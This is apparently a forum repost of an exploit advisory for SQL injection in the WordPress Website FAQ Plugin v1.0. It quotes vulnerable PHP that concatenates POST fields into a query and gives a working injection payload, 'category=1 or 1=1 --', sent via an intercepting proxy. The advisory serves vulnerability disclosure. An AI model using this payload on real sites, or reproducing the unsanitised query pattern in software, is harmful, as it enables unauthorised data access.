WordPress Website FAQ Plugin v1.0 SQL Injection

[Siamak.Black]

[php]# Exploit Title: WordPress Website FAQ Plugin v1.0 SQL Injection
# Date: 6/25/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://wordpress.org/extend/plugins/website-faq/
# Software Link: http://downloads.wordpress.org/plugin/website-faq.zip
# Version: 1.0


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Vulnerability location: /wp-content/plugins/website-faq/website-faq-widget.php
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Lines 106-115:

function displayAnswer()
{
global $wpdb;
$master_table = $wpdb->prefix . "faq";
$category = $_POST['category'];
$searchtxt = $_POST['searchtxt'];
if($category!=0)
{
$sql = "SELECT * FROM $master_table WHERE faq_category=".$category." AND faq_question LIKE '%".$searchtxt."%'";
}

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Vulnerability Details: faq_category vulnerable to SQL injection
================================================== =============

When submitting a query via the widget, intercept the post request via burp or other proxy to find the following:

action=displayAnswer&category=1&searchtxt=[your query]

Changing category=1 to category=1 or 1=1 -- exposes the vulnerability, as it returns all FAQ results regardless of searchtxt value.[/php]